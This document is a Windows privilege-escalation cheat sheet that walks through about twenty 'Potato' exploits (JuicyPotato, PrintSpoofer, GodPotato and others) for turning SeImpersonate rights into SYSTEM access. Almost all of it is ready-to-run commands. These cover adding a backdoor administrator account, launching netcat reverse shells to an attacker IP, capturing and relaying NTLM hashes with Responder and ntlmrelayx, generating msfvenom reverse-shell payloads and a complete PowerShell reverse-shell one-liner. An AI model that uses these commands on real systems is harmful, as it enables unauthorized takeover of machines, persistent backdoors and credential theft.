Potato Privilege Escalation Techniques

SeImpersonatePrivilege  OR  SeAssignPrimaryTokenPrivilege

Service account shell (e.g., IIS / MSSQL / web shell)
        ↓
Trick a SYSTEM-level component into authenticating to you
  (via DCOM, RPC, Named Pipe, EFS, Print Spooler, AppX, ADCS, RasMan...)
        ↓
Capture its token / NTLM authentication
        ↓
Impersonate SYSTEM → spawn SYSTEM shell

:: 1. Confirm privileges
whoami /priv

:: 2. Check OS
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

:: 3. Upload RottenPotato.exe to C:\Windows\Temp\

:: 4. Spawn cmd as SYSTEM
RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe

:: 5. Or run a reverse shell
RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c powershell -e <base64_payload>"

meterpreter > upload /path/to/RottenPotato.exe C:\\Windows\\Temp\\rp.exe
meterpreter > execute -f C:\\Windows\\Temp\\rp.exe -a "-t * -p cmd.exe"

# Enumerate CLSIDs on the target
Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\*" | Select-Object PSChildName

# Or use GetCLSID.ps1 from the JuicyPotato repo
# Full list per OS: https://github.com/ohpe/juicy-potato/tree/master/CLSID

:: 1. Confirm privileges
whoami /priv

:: 2. Check OS version
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

:: 3. Upload JuicyPotato.exe to C:\Windows\Temp\

:: 4. Add a user
JuicyPotato.exe -t * -p cmd.exe -a "/c net user hacker P@ssw0rd! /add" -l 9999 -c {CLSID}
JuicyPotato.exe -t * -p cmd.exe -a "/c net localgroup administrators hacker /add" -l 9999 -c {CLSID}

:: 5. Reverse shell
JuicyPotato.exe -t * -p C:\Windows\Temp\shell.exe -l 9999 -c {CLSID}

:: Common CLSIDs:
::   Server 2016:  {4991D34B-80A1-4291-83B6-3328366B9097}
::   Win10 1803:   {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}

# === Attacker Machine ===
socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999 &
nc -lvnp 4444

:: === Target Machine ===
:: Upload RoguePotato.exe

RoguePotato.exe -r <ATTACKER_IP> -e "C:\Windows\Temp\shell.exe" -l 9999

:: Add user instead:
RoguePotato.exe -r <ATTACKER_IP> -e "cmd /c net user hacker P@ss1 /add && net localgroup administrators hacker /add" -l 9999

:: 1. Confirm privilege and Spooler status
whoami /priv
sc query spooler   :: Look for STATE: 4  RUNNING

:: 2. Upload PrintSpoofer.exe

:: 3. Test (confirm SYSTEM)
PrintSpoofer.exe -c "whoami"

:: 4. Interactive shell (if PTY available)
PrintSpoofer.exe -i -c cmd

:: 5. Add user
PrintSpoofer.exe -c "net user hacker P@ssw0rd! /add"
PrintSpoofer.exe -c "net localgroup administrators hacker /add"

:: 6. Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\shell.exe"

:: 7. Non-interactive / web shell — chain commands
PrintSpoofer.exe -c "cmd /c net user hacker P@ss1! /add && net localgroup administrators hacker /add"

:: 1. Upload SweetPotato.exe

:: 2. Auto-mode (try everything)
SweetPotato.exe -a "whoami"

:: 3. Specific payload
SweetPotato.exe -a "net user hacker P@ssw0rd! /add"
SweetPotato.exe -a "C:\Windows\Temp\shell.exe"

:: 4. Force a specific method
SweetPotato.exe -e EfsPotato    -a "cmd /c whoami"
SweetPotato.exe -e PrintSpoofer -a "cmd /c whoami"
SweetPotato.exe -e DCOM         -a "cmd /c whoami"

:: 5. Interactive shell
SweetPotato.exe -a "cmd" -i

:: 1. Confirm privileges
whoami /priv

:: 2. Test — confirm SYSTEM
GodPotato.exe -cmd "cmd /c whoami"

:: 3. Add backdoor user
GodPotato.exe -cmd "cmd /c net user hacker P@ssw0rd! /add"
GodPotato.exe -cmd "cmd /c net localgroup administrators hacker /add"

:: 4. Reverse shell
GodPotato.exe -cmd "C:\Windows\Temp\shell.exe"

:: 5. Netcat reverse shell
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

nc -lvnp 4444

:: 1. Confirm privileges
whoami /priv

:: 2. Upload EfsPotato.exe (or use SweetPotato with -e EfsPotato)

:: 3. Test execution
EfsPotato.exe whoami

:: 4. Add user
EfsPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
EfsPotato.exe "cmd /c net localgroup administrators hacker /add"

:: 5. Reverse shell
EfsPotato.exe "C:\Windows\Temp\shell.exe"

:: 6. Via SweetPotato (same technique, different wrapper)
SweetPotato.exe -e EfsPotato -a "C:\Windows\Temp\shell.exe"

:: EFS RPC calls can be blocked by GPO (DisableEfsRpcEncryptFileSrv registry key)
:: Check: reg query HKLM\SYSTEM\CurrentControlSet\Services\EfsRpc
:: If blocked → fall back to RasManPotato or GodPotato

Caller → EfsRpcOpenFileRaw("\\127.0.0.1/pipe/attacker_pipe\something")
    → lsass / EFS service resolves UNC path
    → Connects to attacker's named pipe as SYSTEM
    → ImpersonateNamedPipeClient() → SYSTEM token

:: 1. Confirm privileges
whoami /priv

:: 2. Upload PetitPotato.exe

:: 3. Test
PetitPotato.exe -p "cmd /c whoami"

:: 4. Add user
PetitPotato.exe -p "cmd /c net user hacker P@ssw0rd! /add"
PetitPotato.exe -p "cmd /c net localgroup administrators hacker /add"

:: 5. Reverse shell
PetitPotato.exe -p "C:\Windows\Temp\shell.exe"

:: 6. One-liner for web shells
PetitPotato.exe -p "cmd /c net user hacker P@ss1! /add && net localgroup administrators hacker /add"

:: 1. Confirm privilege
whoami /priv

:: 2. Verify Spooler is disabled (proving this method is needed)
sc query spooler   :: STOPPED = use this instead of PrintSpoofer

:: 3. Upload PrintNotifyPotato.exe

:: 4. Test
PrintNotifyPotato.exe -c "whoami"

:: 5. Add user
PrintNotifyPotato.exe -c "net user hacker P@ssw0rd! /add"
PrintNotifyPotato.exe -c "net localgroup administrators hacker /add"

:: 6. Reverse shell
PrintNotifyPotato.exe -c "C:\Windows\Temp\shell.exe"

:: 1. Confirm privileges
whoami /priv

:: 2. Verify AppXSvc is running
sc query AppXSvc   :: STATE: 4 RUNNING

:: 3. Upload AppxPotato.exe

:: 4. Test
AppxPotato.exe "whoami"

:: 5. Add user
AppxPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
AppxPotato.exe "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
AppxPotato.exe "C:\Windows\Temp\shell.exe"

:: 1. Confirm privileges and domain membership
whoami /priv
whoami /fqdn

:: 2. Identify ADCS server
certutil -config - -ping
:: Or enumerate from domain:
nltest /dclist:<domain>

:: 3. Verify HTTP enrollment is accessible
curl -v http://<CA_SERVER>/certsrv/
:: Auth prompt (401 with NTLM) = vulnerable

:: 4. Upload ADCSCoercePotato.exe

:: 5. Execute with CA server hostname/IP
ADCSCoercePotato.exe -t <CA_SERVER> -c "cmd /c whoami"
ADCSCoercePotato.exe -t <CA_SERVER> -c "net user hacker P@ssw0rd! /add"
ADCSCoercePotato.exe -t <CA_SERVER> -c "net localgroup administrators hacker /add"
ADCSCoercePotato.exe -t <CA_SERVER> -c "C:\Windows\Temp\shell.exe"

# Find ADCS servers
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().FindAllDomainControllers()
# Or use certutil / LDAP query for CA enrollment endpoints
certutil -CA

:: 1. Confirm privileges
whoami /priv

:: 2. Check RasMan service
sc query RasMan

:: If needed, start it (may require permission)
sc start RasMan

:: 3. Upload RasManPotato.exe (also available in MultiPotato)

:: 4. Test
RasManPotato.exe -c "whoami"

:: 5. Add user
RasManPotato.exe -c "net user hacker P@ssw0rd! /add"
RasManPotato.exe -c "net localgroup administrators hacker /add"

:: 6. Reverse shell
RasManPotato.exe -c "C:\Windows\Temp\shell.exe"

# === Attacker Machine ===
# Start Responder to capture NTLMv2 hash
sudo responder -I eth0 -v

# Or use ntlmrelayx for direct relay
sudo ntlmrelayx.py -t ldap://<DC_IP> --no-http-server -smb2support

:: === Target Machine (as SYSTEM/Admin) ===

:: 1. Check who is logged in
query session
query user

:: 2. Upload RemotePotato0.exe

:: 3. Trigger hash capture targeting Session 1 (the RDP user)
::    -m 0 = NTLM hash capture mode
::    -s 1 = target session ID (from query session output)
RemotePotato0.exe -m 0 -r <ATTACKER_IP> -x <ATTACKER_IP> -p 9998 -s 1

# Crack with hashcat
hashcat -m 5600 captured.hash /usr/share/wordlists/rockyou.txt

# Or relay with ntlmrelayx (no cracking needed)

:: 1. Check current user (doesn't need to be a service account)
whoami
whoami /priv   :: SeImpersonate NOT required for this one

:: 2. Check if patched
wmic qfe list | findstr 5022282
:: If result found → patched → won't work

:: 3. Upload LocalPotato.exe

:: 4. Test — confirm SYSTEM
LocalPotato.exe -i whoami

:: 5. Add user
LocalPotato.exe -i "cmd /c net user hacker P@ssw0rd! /add"
LocalPotato.exe -i "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
LocalPotato.exe -i C:\Windows\Temp\shell.exe

:: 1. Confirm privileges
whoami /priv

:: 2. Upload CandyPotato.exe

:: 3. Test
CandyPotato.exe -c "{CLSID}" -a whoami

:: 4. Auto mode (no CLSID — attempts detection)
CandyPotato.exe -a "cmd /c whoami"

:: 5. Add user
CandyPotato.exe -a "cmd /c net user hacker P@ssw0rd! /add"
CandyPotato.exe -a "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
CandyPotato.exe -p C:\Windows\Temp\shell.exe

:: 1. Confirm privileges
whoami /priv

:: 2. Upload BravePotato.exe

:: 3. Test
BravePotato.exe -c "cmd /c whoami"

:: 4. Add user
BravePotato.exe -c "cmd /c net user hacker P@ssw0rd! /add"
BravePotato.exe -c "cmd /c net localgroup administrators hacker /add"

:: 5. Reverse shell
BravePotato.exe -c "C:\Windows\Temp\shell.exe"

:: 1. Confirm privileges
whoami /priv

:: 2. Check Task Scheduler
sc query Schedule   :: Should show STATE: 4 RUNNING

:: 3. Upload DeadPotato.exe

:: 4. Test
DeadPotato.exe "whoami"

:: 5. Add user
DeadPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
DeadPotato.exe "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
DeadPotato.exe "C:\Windows\Temp\shell.exe"

:: 1. Confirm privileges
whoami /priv

:: 2. Upload MultiPotato.exe

:: 3. Auto mode — try all methods
MultiPotato.exe -t * -p C:\Windows\Temp\shell.exe

:: 4. Specify a single method
MultiPotato.exe -t EfsPotato    -p C:\Windows\Temp\shell.exe
MultiPotato.exe -t PrintNotify  -p C:\Windows\Temp\shell.exe
MultiPotato.exe -t RasMan       -p C:\Windows\Temp\shell.exe

:: 5. Add user via auto-mode
MultiPotato.exe -t * -c "cmd /c net user hacker P@ssw0rd! /add"

:: 6. Verbose — shows which trigger succeeded
MultiPotato.exe -t * -p C:\Windows\Temp\shell.exe -v

:: 1. Confirm privileges
whoami /priv

:: 2. Confirm OS (Server 2022 / Win11)
systeminfo | findstr "OS Name"

:: 3. Upload SigmaPotato.exe

:: 4. Test
SigmaPotato.exe "cmd /c whoami"

:: 5. Add user
SigmaPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
SigmaPotato.exe "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
SigmaPotato.exe "C:\Windows\Temp\shell.exe"

// Reference GenericPotato.dll in your project

// Implement your custom coercion trigger
public class CustomTrigger : IImpersonationTrigger
{
    public void Trigger(string pipeName)
    {
        // Your custom RPC/COM call that causes SYSTEM to connect to pipeName
        // Example: calling some RPC interface with \\127.0.0.1\pipe\<pipeName>
        SomeRpcService.SomeCall($@"\\127.0.0.1\pipe\{pipeName}\srvsvc");
    }
}

// Use GenericPotato with your custom trigger
var potato = new GenericPotato();
potato.Trigger = new CustomTrigger();
potato.Run("cmd /c whoami");

:: If using as a standalone configurable binary
GenericPotato.exe -t CustomPipe -p "cmd /c whoami"
GenericPotato.exe -t CustomPipe -p "C:\Windows\Temp\shell.exe"

:: 1. Check privileges — MOST CRITICAL
whoami /priv

:: 2. OS + patch level
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

:: 3. Check patch for LocalPotato (CVE-2023-21746)
wmic qfe list | findstr 5022282
:: Missing = LocalPotato works without SeImpersonate

:: 4. Check services relevant to Potato selection
sc query spooler       :: PrintSpoofer
sc query AppXSvc       :: AppxPotato (desktop only)
sc query RasMan        :: RasManPotato
sc query Schedule      :: DeadPotato
sc query efsvc         :: EfsPotato / PetitPotato (also works via lsass)

:: 5. Active sessions (for RemotePotato0)
query session
query user

:: 6. Find writable directories to upload binaries
icacls C:\Windows\Temp\
icacls C:\ProgramData\

:: 7. Domain membership (for ADCSCoercePotato)
systeminfo | findstr "Domain"

Privilege Name                Description                               State
============================= ========================================= =======
SeImpersonatePrivilege        Impersonate a client after authentication Enabled   ← YOU NEED THIS

Start: you have a shell
    ↓
whoami /priv
    ↓
    ├── No SeImpersonatePrivilege
    │       ↓
    │   Check patch: wmic qfe list | findstr 5022282
    │       ├── KB5022282 MISSING → LocalPotato (no priv needed, CVE-2023-21746)
    │       └── Patched → Other privesc vectors (AlwaysInstallElevated, service perms, etc.)
    │
    └── SeImpersonatePrivilege PRESENT
            ↓
        systeminfo → OS Version?
            │
            ├── Win7 / Server 2008 / 2012
            │       → JuicyPotato (find CLSID for OS)
            │       → RottenPotato (legacy fallback)
            │
            ├── Win10 < 1809 / Server 2016
            │       → JuicyPotato (DCOM not yet hardened)
            │       → PrintSpoofer (sc query spooler → RUNNING?)
            │       → EfsPotato / PetitPotato
            │
            ├── Win10 ≥ 1809 / Server 2019
            │       → GodPotato (first choice, no setup)
            │       → PrintSpoofer (if Spooler running)
            │       → EfsPotato / PetitPotato (Spooler disabled?)
            │       → RoguePotato (if network to attacker available)
            │
            ├── Server 2022 / Windows 11
            │       → GodPotato (first choice)
            │       → PrintSpoofer (if Spooler running)
            │       → SigmaPotato (if GodPotato fails)
            │       → PrintNotifyPotato (Spooler disabled but PrintNotify up)
            │       → RasManPotato (EFS + Spooler both disabled)
            │
            ├── Domain-joined + ADCS HTTP accessible
            │       → ADCSCoercePotato
            │
            ├── Already SYSTEM + other user sessions present
            │       → RemotePotato0 (steal domain user NTLM hash)
            │
            ├── Desktop Win10/Win11 (workstation target)
            │       → AppxPotato (AppXSvc always present on desktops)
            │
            └── Unknown / Multiple methods blocked
                    → MultiPotato (tries all coercion methods)
                    → SweetPotato (DCOM + EFS + Spooler)

Trigger COM object activation via CLSID or IRemUnknown2
    → SYSTEM authenticates to activate/negotiate the object
    → Token / NTLM captured → SYSTEM exec

Create fake named pipe
    → Trigger SYSTEM service to connect via legitimate API call
    → ImpersonateNamedPipeClient() → SYSTEM token

Trigger SYSTEM NTLM auth via RPC/OXID interface
    → Reflect/relay auth to local privileged endpoint
    → SYSTEM token obtained

Abuse DCOM in another user's session
    → Steal NTLMv2 hash of logged-in privileged user
    → Crack or relay for domain escalation

Standard user triggers NTLM reflection via Storage Broker COM
    → No SeImpersonate needed
    → SYSTEM exec from regular user account (unpatched systems only)

# x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe

# x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe

# Staged Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o meter.exe

$c=New-Object Net.Sockets.TCPClient('<IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length)}

# Encode the PowerShell one-liner to base64 (UTF-16LE for Windows)
echo -n '<PS_ONE_LINER>' | iconv -t UTF-16LE | base64 -w 0
# Use as: powershell -enc <BASE64_OUTPUT>

RottenPotato       → Win7/2008 — DCOM + NTLM relay (historical)
JuicyPotato        → Win7–Win10 ≤1803 — DCOM with CLSID
RoguePotato        → Win10 1809+ with network — OXID coercion
PrintSpoofer       → Win10/2016/2019 — Print Spooler, very reliable
SweetPotato        → Auto-try: DCOM + EFS + Spooler wrapper
GodPotato          → Win10 1809+ / 2019 / 2022 / Win11 — NTLM reflection, no setup
EfsPotato          → Win10+ — EFS RPC coercion (Spooler alternative)
PetitPotato        → Win10+ — EFS local coercion (PetitPotam adapted)
PrintNotifyPotato  → Win10+ — when Spooler disabled
AppxPotato         → Win10/Win11 desktop — AppX service coercion
ADCSCoercePotato   → Domain + ADCS environment
RasManPotato       → Win10+ — RasMan RPC fallback
RemotePotato0      → Post-SYSTEM — steal logged-in user NTLM hash
LocalPotato        → No SeImpersonate — CVE-2023-21746 (unpatched only)
CandyPotato        → DCOM + named pipe hybrid
BravePotato        → IRemUnknown2 coercion
DeadPotato         → Task Scheduler / deprecated COM
MultiPotato        → Framework — tries all coercion methods
SigmaPotato        → Server 2022 / Win11 specific
GenericPotato      → SDK for building custom Potatos

Correct exploit = f(OS version, patch level, running services, privileges, domain context)